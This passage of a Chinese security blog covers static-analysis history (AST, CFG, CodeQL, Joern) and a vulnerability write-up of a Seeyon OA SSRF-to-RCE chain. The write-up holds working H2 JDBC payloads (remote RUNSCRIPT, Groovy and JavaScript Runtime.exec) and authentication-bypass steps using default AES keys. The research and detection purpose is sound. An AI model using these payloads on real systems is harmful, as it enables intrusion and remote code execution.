target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732672.png" alt="img"></a></p><p><strong>(2) 多重调用链</strong></p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/bp13bfx6hcyfyjr3frkwwunm/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733461.png" alt="img"></a></p><p>这是<strong>一段有漏洞的JS代码</strong>，人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现<strong>整个流程中涉及到了多种流向</strong>。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/rtxvdakikkclp186bu72npt8/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733672.png" alt="img"></a></p><p>这里我用<strong>红色和黄色代表了流的两种流向</strong>。要解决这个问题只能通过<strong>针对类/字典变量的特殊回溯</strong>才能解决。</p><p>如果说，前面的两个问题是可以被解决的话，还有<strong>很多问题是很难被解决的</strong>，这里举一个简单的例子。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/jmpmecemnwmsvcbb4xi2eyuv/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733996.png" alt="img"></a></p><p>这是一个典型的全局过滤，人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中，当<strong>回溯到Source为$_GET[‘a’]</strong>时，已经满足了<strong>从Source到sink的infomation flow</strong>，<strong>已经被识别为漏洞</strong>。一个典型的误报就出现了。</p><p>而<strong>基于AST的自动化代码审计工具</strong>也正是在与这样的问题做博弈，对于基于AST的代码分析来说，最大的挑战在于<strong>没人能保证自己完美的处理所有的AST结构，再加上基于单向流的分析方式，无法应对100%的场景</strong>。</p><h2 id="近代时期-基于IR-CFG的代码分析"><a href="#近代时期-基于IR-CFG的代码分析" class="headerlink" title="近代时期 - 基于IR/CFG的代码分析"></a>近代时期 - 基于IR/CFG的代码分析</h2><p>如果深度了解过<strong>基于AST的代码分析原理</strong>的话，不难发现<strong>许多弊端</strong>。首先<strong>AST是编译原理中IR/CFG的更上层</strong>，其<strong>内容更接近源代码</strong>。</p><p>也就是说，分析AST更接近分析代码，换句话就是说<strong>基于AST的分析得到的流，</strong>更接近<strong>脑子里对代码执行</strong>里的流程，忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件，这也是<strong>基于AST的代码分析的普遍解决方案</strong>，当然，从结果论上很难辨别忽略带来的后果。而<strong>基于IR/CFG这类带有控制流的解决方案，则是另一种解决思路。</strong></p><p>首先我们得知道什么是IR/CFG。</p><ul><li><strong>IR：</strong>是一种<strong>类似于汇编语言的线性代码</strong>，其中各个指令按照顺序执行。其中现在主流的IR是<strong>三地址码（四元组）</strong></li><li><strong>CFG: （Control flow graph）控制流图</strong>，在程序中最简单的<strong>控制流单位是一个基本块</strong>，在CFG中，每一个节点代表一个基本块，每一个边代表一个可控的控制转移，整个CFG代表了整个代码的的控制流程图。</li></ul><p>一般来说，我们需要<strong>遍历IR来生成CFG</strong>，当然，你也可以用AST来生成CFG，毕竟AST是比较高的层级。</p><p>而基于CFG的代码分析思路优势在于，对于一份代码来说，你首先有了一份<strong>控制流图</strong>（或者说是执行顺序），然后才到漏洞挖掘这一步。比起<strong>基于AST的代码分析</strong>来说，你只需要<strong>专注于从Source到Sink的过程</strong>即可。</p><p>但其实无论是基于哪种底层，<strong>后续的分析流程与AST其实别无太大的差别</strong>，挑战的核心仍然维持<strong>在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。</strong>上文中提到的是静态分析当中比较常见的一种作用域数据流回溯分析的思路，其实<strong>正向的污点分析</strong>，亦或者后来被人提到比较多的<strong>指针分析</strong>，核心思路大同小异。</p><p>而代码分析的基础方面，既然存在<strong>基于AST的代码分析</strong>，又存在<strong>基于CFG的代码分析</strong>，自然也存在<strong>其他的种类</strong>。比如现在市场上主流的fortify，Checkmarx，Coverity包括最新的Rips都使用了<strong>自己构造的语言的某一个中间部分</strong>，比如fortify和Coverity就需要对<strong>源码编译的某一个中间语言</strong>进行分析，又比如源伞实现了<strong>多种语言生成统一的IR</strong>，Joern使用了<strong>基于AST生成的CPG图结构</strong>进行分析。</p><p>事实上，无论是基于某种基础结构的代码分析，技术手段本身只有适应场景的不同，对于技术选型这件事情本身来说更重要的是你想要<strong>构建一个什么样的代码分析工具</strong>。</p><h2 id="未来-通用化代码分析框架"><a href="#未来-通用化代码分析框架" class="headerlink" title="未来 - 通用化代码分析框架"></a>未来 - 通用化代码分析框架</h2><h3 id="基于QL概念的框架-CodeQL"><a href="#基于QL概念的框架-CodeQL" class="headerlink" title="基于QL概念的框架 - CodeQL"></a>基于QL概念的框架 - CodeQL</h3><p><strong>QL指的是一种面向对象的查询语言，用于从关系数据库中查询数据的语言。</strong>我们常见的SQL就属于一种QL，一般用于查询存储在数据库中的数据。</p><p>而在代码分析领域，<strong>Semmle QL是最早诞生的QL语言</strong>，他最早被应用于<strong>LGTM</strong>，并被用于Github内置的安全扫描为大众免费提供。紧接着，<strong>CodeQL</strong>也被开发出来，作为稳定的<strong>代码分析框架</strong>在github社区化。</p><ul><li><a href="https://securitylab.github.com/tools/codeql" target="_blank" rel="noopener">https://securitylab.github.com/tools/codeql</a></li><li><a href="https://semmle.com/codeql" target="_blank" rel="noopener">https://semmle.com/codeql</a></li></ul><p><strong>那么什么是QL呢？QL又和代码分析有什么关系呢？</strong></p><p>首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么？无论是基于哪种中间件建立的代码分析流程，都离不开3个概念，流、Source、Sink，<strong>这类代码分析的原理无论是正向还是逆向，都是通过在Source和Sink中寻找一条流</strong>。而这条流的建立围绕的是代码执行的流程，就好像编译器编译运行一样，程序总是流式运行的。这种分析的方式就是<strong>数据流分析（Data Flow）</strong>。</p><p>而<strong>QL就是把这个流的每一个环节具象化</strong>，把每个节点的操作<strong>具像成状态的变化</strong>，并且储存到数据库中。</p><p>这样一来，通过构造QL语言，我们就能<strong>找到满足条件的节点</strong>，并构造成流。下面我举一个简单的例子来说：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$a &#x3D; $_GET[&#39;a&#39;];</span><br><span class="line">$b &#x3D; htmlspecialchars($a);</span><br><span class="line"></span><br><span class="line">echo $b;</span><br></pre></td></tr></table></figure><p>我们简单的<strong>把前面的流写成一个表达式</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo &#x3D;&gt; $_GET.is_filterxss</span><br></pre></td></tr></table></figure><p>这里is_filterxss被认为是输入$_GET的一个标记，在分析这类漏洞的时候，我们就可以直接用QL表达</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">select * where &#123;</span><br><span class="line">    Source : $_GET,</span><br><span class="line">    Sink : echo,</span><br><span class="line">    is_filterxss : False,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过<strong>构造满足条件的语句</strong>，我们就可以找到这个漏洞（上面的代码仅为伪代码），从这样的一个例子我们不难发现，<strong>QL其实更接近一个概念，他鼓励将信息流具象化</strong>，这样我们就可以用更通用的方式去写规则筛选。</p><p><strong>CodeQL类的工具(包括CheckMarx等等)其实就是类似的一个基础理念</strong>，通过<strong>封装底层的代码处理逻辑</strong>，并<strong>提供一个非常易用的上层平台</strong>给用户，用户可以<strong>不用了解复杂的编译原理就可以编写漏洞的规则。</strong></p><p>但其实说到底这只是一个理念，并不是结果，以CodeQL为例子，其构建的一套语法规则并不能算是一套门槛很低的东西，反而<strong>其黑盒的底层阻止了安全研究人员进一步研究和使用CodeQL。</strong></p><h3 id="基于工具化的框架-Joern"><a href="#基于工具化的框架-Joern" class="headerlink" title="基于工具化的框架 - Joern"></a>基于工具化的框架 - Joern</h3><p>如果说CodeQL类的工具是探索做一个通用化的代码分析框架，来解决代码分析的场景。那Joern就走了另一条路，就是<strong>工具化</strong>。</p><p>Joern的底层原理是一套<strong>基于AST生成的通用CPG(Code Property Graph)</strong>图，在图的上层实现了一套<strong>基于OverflowDb的查询语言</strong>以供使用者可以在不需要知晓底层原理的基础上查询分析。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733266.png" alt="img"></p><p>但我们这里想讨论的并不是Joern的原理，而是理念。Joern把自己定<strong>位成了安全研究员用于代码分析的一个工具</strong>，而不是执着于<strong>用一个按钮一个规则扫描漏洞</strong>，而是提供了<strong>人和代码的桥梁</strong>。</p><p>在Joern里，我用的比较多，也是比较常见的一个场景就是<strong>寻找某个方法的调用关系</strong>。在Joern shell当中，你可以用<strong>非常简单的方法获取某个函数的调用位置</strong>，<strong>已经调用了该函数的函数</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733780.png" alt="img"></p><p>所以在Joern当中，你可以忽略数据流分析，而是用一些<strong>非常简单的交互式命令</strong>来辅助，在Joern你可以非常简单的获取<strong>“调用了A方法的路由入口”</strong>，而更实际的利用链完全可以有人来判定，省去为了上下文分析花去的力气。</p><p>当然，Joern在某些方面是<strong>成也工具化败也工具化</strong>，<strong>cpg本身强调调用关系和引用关系</strong>，Joern shell后端引用scala<strong>易用性有余实用性不足</strong>，你几乎<strong>很难</strong>在Joern的上层<strong>做数据流分析层面的分析</strong>。</p><h1 id="后话"><a href="#后话" class="headerlink" title="后话"></a>后话</h1><p>其实相较第一版本的内容来说，我没有对文章内容做太多的更改，因为<strong>对于静态分析的底层原理</strong>来说<strong>用什么技术已经没什么很大的意义了</strong>，说到底<strong>原理都是差不多的</strong>。</p><p>商业代码分析的软件包括Checkmarx、fortify等等，再到后来的CodeQL说到底其实都是<strong>技术长期积累的技术壁垒</strong>，很多问题也不是学术上的什么难点攻破。</p><p>而近几年越来越多的相关东西也如雨后春笋冒了出来，开源社区比较火的Joern、tabby、tai-e，商业公司比较火的蜚语的corax，梅子酒创业的寻臻科技，其实技术原理上的东西大同小异，说到底就是还<strong>没有足够好用的产品出来</strong>，<strong>大多代码分析的软件还停留在某个底层技术的应用上</strong>。</p><p>而代码分析工具<strong>本身的易用性和场景化</strong>遇到的问题在我看来问题更大，即便是商业化程度非常高的Checkmarx这种软件也没法<strong>非常简单直白的接入到devsecops流程当中</strong>，很多工具甚至都<strong>解决不了高误报率和扫描效率低的问题</strong>，更谈不上实用了。在我看来，一款实用的好的代码分析软件还有很长的路要走~</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地试错，不断地思考，于是才有了&lt;strong&gt;现代伟大的科技时代。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中&lt;strong&gt;自动化代码审计&lt;/strong&gt;就是&lt;strong&gt;安全自动化&lt;/strong&gt;绕不过去的坎。&lt;/p&gt;
&lt;p&gt;而SAST作为&lt;strong&gt;自动化代码分析&lt;/strong&gt;的一种，有着其特有的定位以及作用，这篇文章我们就来聊聊静态分析的一些发展历程和思路。&lt;/p&gt;
&lt;p&gt;本篇文章其实在2年前曾经写过一次，在2年后的今天处于偶然的契机正好要写一篇相关的文章，所以&lt;strong&gt;重写了这部分内容&lt;/strong&gt;，其中修正了不少在这期间内探索获取的新理念和思路，希望有价值。&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
  </entry>
  
  <entry>
    <title>Joern In RealWorld (3) - 致远OA A8 SSRF2RCE</title>
    <link href="https://lorexxar.cn/2023/11/21/joernrw3/"/>
    <id>https://lorexxar.cn/2023/11/21/joernrw3/</id>
    <published>2023-11-21T09:09:10.000Z</published>
    <updated>2023-11-21T09:53:42.000Z</updated>
    
    <content type="html"><![CDATA[<p><strong>致远OA是国内最有名的OA系统之一</strong>，这个OA封闭商业售卖再加上纷繁复杂的版本号加持下，致远OA拥有大量无法准确判断的版本。</p><p>这篇文章的漏洞源于下面这篇文章，文章中提到<strong>该漏洞影响A8, A8+, A6等多个版本</strong>，但很多版本我都找不到对应的源码，光A8就有一万个版本，下面我们尽可能的复现漏洞和探索Joern的可能性</p><ul><li><a href="https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA</a></li></ul><a id="more"></a><h1 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h1><p>先花一点儿篇幅简单的描述一下漏洞的基础原理，其实漏洞分为好几个部分</p><ul><li><strong>致远oa 前台XXE漏洞</strong></li><li><strong>致远oa S1服务 后台jdbc注入</strong></li><li><strong>H2 jdbc注入导致RCE</strong></li><li><strong>致远oa S1服务 后台用户密码重置导致的鉴权绕过</strong></li></ul><p>我们分开讨论这部分</p><h2 id="致远oa前台xxe漏洞"><a href="#致远oa前台xxe漏洞" class="headerlink" title="致远oa前台xxe漏洞"></a>致远oa前台xxe漏洞</h2><p>首先我必须得说，<strong>这部分内容涉及到的代码我找了很多个版本的源码都没有找到</strong>，尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。</p><p>我觉得最神奇的点在于，这个漏洞如果<strong>仅按照原文提及的部分，漏洞原理及其简单</strong>，而且是一个比较<strong>标准的xxe漏洞</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">private List&lt;Element&gt; getNodes(String xmlString, String xpath) &#123;</span><br><span class="line">    ArrayList tmpList = null;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        SAXReader saxReader = new SAXReader();</span><br><span class="line">        Reader xml_sr = new StringReader(xmlString);</span><br><span class="line">        saxReader.setEncoding(<span class="string">"UTF-8"</span>);</span><br><span class="line">        Document document = saxReader.read(xml_sr);</span><br><span class="line">        <span class="keyword">if</span> (document.getRootElement() == null) &#123;</span><br><span class="line">            throw new KgException(new KgCommonsError(<span class="string">"XmlParser Object hasn't RootElement."</span>, KgCommonsError.SYSTEM_ERROR.getCode()));</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            List&lt;?&gt; contexts = document.selectNodes(xpath);</span><br><span class="line">            tmpList = new ArrayList();</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span>(int i = <span class="number">0</span>; i &lt; contexts.size(); ++i) &#123;</span><br><span class="line">                <span class="keyword">if</span> (contexts.get(i) instanceof Element) &#123;</span><br><span class="line">                    tmpList.add((Element)contexts.get(i));</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> tmpList;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p><strong>可控参数</strong> <strong>xmlValue，直接解base64然后就进xxe</strong>造成漏洞。</p><p>按理说这么简单的漏洞，应该早就被爆出来滥用了，但我搜索了一下相应的内容，上一次致远oa爆出来xxe漏洞原理比这个复杂多了，而且还是组件漏洞。</p><p>由于实在找不到源码，所以我猜测这个漏洞可能有两个可能性</p><ul><li><strong>漏洞来自于某个部署时使用到的额外服务或者插件</strong></li><li><strong>这个xxe漏洞是个第三方组件问题</strong>，需要其他条件入口，原文不想提到这个入口所以没有写</li></ul><p>不管咋说我的确是没有办法获得答案了，不过这不是这篇文章的重心，先往后看。</p><h2 id="致远oa-S1服务-后台jdbc注入"><a href="#致远oa-S1服务-后台jdbc注入" class="headerlink" title="致远oa S1服务 后台jdbc注入"></a>致远oa S1服务 后台jdbc注入</h2><p>在原文中，这部分来自于agent.jar，简单来说就是一个开放到内网的服务，我查了一下应该是指这套<strong>S1服务</strong>。</p><p>在官网还可以查到这套系统，看上去应该是用于管理致远后台的平台，算是运维平台。这侧面也证明了<strong>这套系统是一套独立的系统。</strong></p><p>在<code>com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController</code>可以找到对应的<code>testDBConnect</code>方法</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747347.png" alt="img"></p><p>可以关注到相比原文当中的截图，现在加入了<strong>对h2数据库连接的限制</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">params.put(<span class="string">"dbUrl"</span>, dbUrl);</span><br><span class="line"><span class="keyword">if</span> (dbUrl.startsWith(<span class="string">"jdbc:h2"</span>))</span><br><span class="line">  <span class="keyword">return</span> JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), <span class="string">", null);</span></span><br></pre></td></tr></table></figure><p>继续跟进到<code>testDBConnect</code>中</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747209.png" alt="img"></p><p>从这里可以找到可以<strong>根据dburl前缀自由连接远程jdbc</strong>的方法，并允许<strong>自定义链接驱动类</strong></p><h2 id="H2-jdbc注入导致RCE"><a href="#H2-jdbc注入导致RCE" class="headerlink" title="H2 jdbc注入导致RCE"></a>H2 jdbc注入导致RCE</h2><p>这部分内容其实不算是这篇文章的重点致远oa的问题，一般来说到<strong>jdbc注入</strong>之后就是<strong>利用方式</strong>的问题了，但这里还是顺带提一下。</p><p><strong>关于jdbc的注入后利用方式</strong>其实之前已经有过不少次相关的文章以及议题，下面这篇就是一篇总结的比较全的文章</p><ul><li><a href="https://paper.seebug.org/1832/" target="_blank" rel="noopener">https://paper.seebug.org/1832/</a></li><li><a href="https://www.anquanke.com/post/id/203086" target="_blank" rel="noopener">https://www.anquanke.com/post/id/203086</a></li></ul><p>其实jdbc可控<strong>后续导致的二次利用方案相当复杂</strong>，由于这不是这篇文章的内容，所以我们直接跳到对应的位置来看看。</p><p>想要利用jdbc注入来调用H2进行进一步利用，其中有两个比较大的问题。</p><ul><li><strong>需要相应的配置参数才能命令执行</strong></li><li><strong>由于不支持多行语句，需要找到能在单行里执行命令的方法</strong></li></ul><p><strong>H2的攻击利用的是Spring Boot H2 console的一个特性</strong>，通过控制h2数据库的连接url，我们可以迫使spring boot去<strong>加载远程的sql脚本并执行命令</strong>，类似下面这样的请求</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=<span class="number">3</span>;INIT=RUNSCRIPT FROM <span class="string">'http://127.0.0.1:8000/poc.sql'</span></span><br></pre></td></tr></table></figure><p>而这样的请求需要<strong>如下的参数</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">spring.h2.console.enable=true</span><br><span class="line">spring.h2.console.setting.web-allow-others=true</span><br></pre></td></tr></table></figure><p>我们简单的看下源码</p><p>在<code>org.h2.engine.Engine#openSession</code>中，发起连接是可以<strong>通过INIT关键字来影响初始化数据库连接的配置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747556.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747988.png" alt="img"></p><p><strong>当我们使用RUNSCRIPT关键字发起远程连接时</strong>，代码将会执行到<code>org.h2.command.dml.RunScriptCommand#execute</code></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747682.png" alt="img"></p><p>这也就意味着我们可以<strong>通过RUNSCRIPT来执行恶意的SQL语句</strong>，但使用RUNSCRIPT意味着，<strong>你的客户端必须出网才有可能利用。</strong></p><p>而我们之所以要使用RUNSCRIPT，本质是<strong>因为常见的恶意SQL执行命令需要两句</strong>，<strong>而</strong><code>session.prepareCommand</code><strong>并不支持执行多行语句</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">CREATE ALIAS RUNCMD AS $$&lt;JAVA METHOD&gt;$$;</span><br><span class="line">CALL RUNCMD(command)</span><br></pre></td></tr></table></figure><p>在Spring Boot H2 console的源码中，我们可以继续寻找问题的解决办法，在SQL语句当中的JAVA方法将会执行到<code>org.h2.util.SourceCompiler</code>,一共有三种编译器，<strong>分别是Java/Javascript/Groovy</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747684.png" alt="img"></p><p><strong>如果满足source开头是</strong><code>//groovy</code><strong>或者是</strong><code>@groovy</code><strong>就会使用对应Groovy引擎。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211748878.png" alt="img"></p><p><strong>利用</strong><code>@groovy.transform.ASTTEST</code><strong>就可以使用assert来执行命令</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public static void main (String[] args) throws ClassNotFoundException, SQLException &#123;</span><br><span class="line">    String groovy = <span class="string">"@groovy.transform.ASTTest(value=&#123;"</span> + <span class="string">" assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")"</span> + <span class="string">"&#125;)"</span> + <span class="string">"def x"</span>;</span><br><span class="line">    String url = <span class="string">"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"</span>+ groovy +<span class="string">"'"</span>;</span><br><span class="line">    Connection conn = DriverManager.getConnection(url);</span><br><span class="line">    conn.close();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>除了Groovy以外还有JavaScript的利用方案</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749239.png" alt="img"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public static void main (String[] args) throws ClassNotFoundException, SQLException &#123;</span><br><span class="line">    String javascript = <span class="string">"//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")"</span>;</span><br><span class="line">    String url = <span class="string">"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"</span>+ javascript +<span class="string">"'"</span>;</span><br><span class="line">    Connection conn = DriverManager.getConnection(url);</span><br><span class="line">    conn.close();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="致远oa-S1服务-后台用户密码重置导致的鉴权绕过"><a href="#致远oa-S1服务-后台用户密码重置导致的鉴权绕过" class="headerlink" title="致远oa S1服务 后台用户密码重置导致的鉴权绕过"></a>致远oa S1服务 后台用户密码重置导致的鉴权绕过</h2><p>在前面找到对应的利用方案之后，<strong>当我们尝试去做利用的时候会发现其实后台有额外的权限验证</strong>。直接访问testDBConnenction，会报<strong>非法访问的错误。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749235.png" alt="img"></p><p>这是<strong>因为没有传入对应的token</strong>，在<code>com.seeyon.agent.common.utils.TokenUtils</code>中可以找到对应的检查</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749964.png" alt="img"></p><p>这里的tokenMap可以在<code>com.seeyon.agent.common.getway.GetWayController</code>找到<strong>对应的写入位置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749377.png" alt="img"></p><p><strong>通过解密获得username、pwd、dogcode、versions</strong>，<strong>经过各种验证之后token会被存入全局变量</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749644.png" alt="img"></p><p>这个token会被存入最终的tokenMap当中，而到这里我们问题变成了<strong>如何模拟这个过程</strong>，在这个过程当中我们需要的信息有点儿多</p><ul><li><strong>username，可以用默认的用户名seeyon</strong></li><li><strong>pwd</strong></li><li><strong>version</strong></li><li><strong>aes的秘钥和iv</strong></li></ul><p>跟踪 AESUtil.Decrypt到定义的位置，可以发现<strong>秘钥和iv都是默认的</strong>，可以直接使用</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749701.png" alt="img"></p><p>在<code>com.seeyon.agent.common.controller.ConfigController</code>中可以<strong>找到一个方法modifyDefaultUserInfo</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750401.png" alt="img"></p><p>这个方法可以在<strong>没有任何限制的情况下修改默认用户seeyon的密码</strong></p><p>最后剩下的一个信息则是version，这个后台的版本比较复杂，我们可以<strong>通过一个接口来获取</strong></p><p><strong>在</strong><code>com.seeyon.agent.common.controller.VersionController</code><strong>的getVersion方法</strong>里可以获取对应的版本号</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750481.png" alt="img"></p><p>到这里我们获取了模拟token的所有信息，就可以在<strong>后台进行任意操作</strong>了</p><h1 id="For-Joern"><a href="#For-Joern" class="headerlink" title="For Joern"></a>For Joern</h1><p>当问题回到源代码扫描上，我们也可以用<strong>类似的漏洞拆解来实现扫描</strong></p><h2 id="致远oa前台xxe漏洞-1"><a href="#致远oa前台xxe漏洞-1" class="headerlink" title="致远oa前台xxe漏洞"></a>致远oa前台xxe漏洞</h2><p>由于这个源码找不到，所以这里<strong>用一个类似场景写出来的语句</strong>来进行<strong>模拟挖掘和扫描</strong>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method("getParameter").callIn</span><br><span class="line">def sink = cpg.call.filter(_.methodFullName.contains("java.io.StringReader.&lt;init&gt;"))</span><br><span class="line"></span><br><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p>我们可以通过<strong>连通初始化位置以及可控参数来判断是否存在路径</strong>，正常来说如果两个节点<strong>存在连通路径</strong>，那么就存在<strong>调用关系</strong>，但数据流的过程间分析需要更合理的判定方式，就比如这个漏洞。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750347.png" alt="img"></p><p><code>SAXReader</code>的<strong>XXE漏洞修复方案并不是在参数的过滤上</strong>，而是在于<code>SAXReader</code>对<strong>解析xml的配置</strong></p><p>这就要求<strong>除了获得source到sink的连通性以及调用关系以外</strong>，<strong>还要对</strong><code>SAXReader</code><strong>实例化后的属性变化有所关注</strong>，在Joern上虽然可以强行做这样的判定，但却没有特别适配的方案，甚至需要通过正则匹配等方式来解决。</p><h2 id="致远oa-S1服务-后台jdbc注入-1"><a href="#致远oa-S1服务-后台jdbc注入-1" class="headerlink" title="致远oa S1服务 后台jdbc注入"></a>致远oa S1服务 后台jdbc注入</h2><p>照理先引入S1的包，这个东西其实代码不是很大，但是不知道为什么解出来的包非常之大，可能有一些问题。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; importCode(<span class="string">"S1.jar"</span>, <span class="string">"seeyons1"</span>)</span><br><span class="line">val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [<span class="number">959587</span> nodes])</span><br></pre></td></tr></table></figure><p>先找到<strong>设置了注解的testDBConnect方法</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"testDBConnect"</span>).where(_.annotation.name(<span class="string">".*Mapping"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750143.png" alt="img"></p><p>然后再找到<strong>设置jdbc连接的位置</strong>，并<strong>设置参数为3个string</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"getConnection"</span>).callIn.filter(_.methodFullName.contains(<span class="string">"java.lang.String,java.lang.String,java.lang.String"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750355.png" alt="img"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def sink = 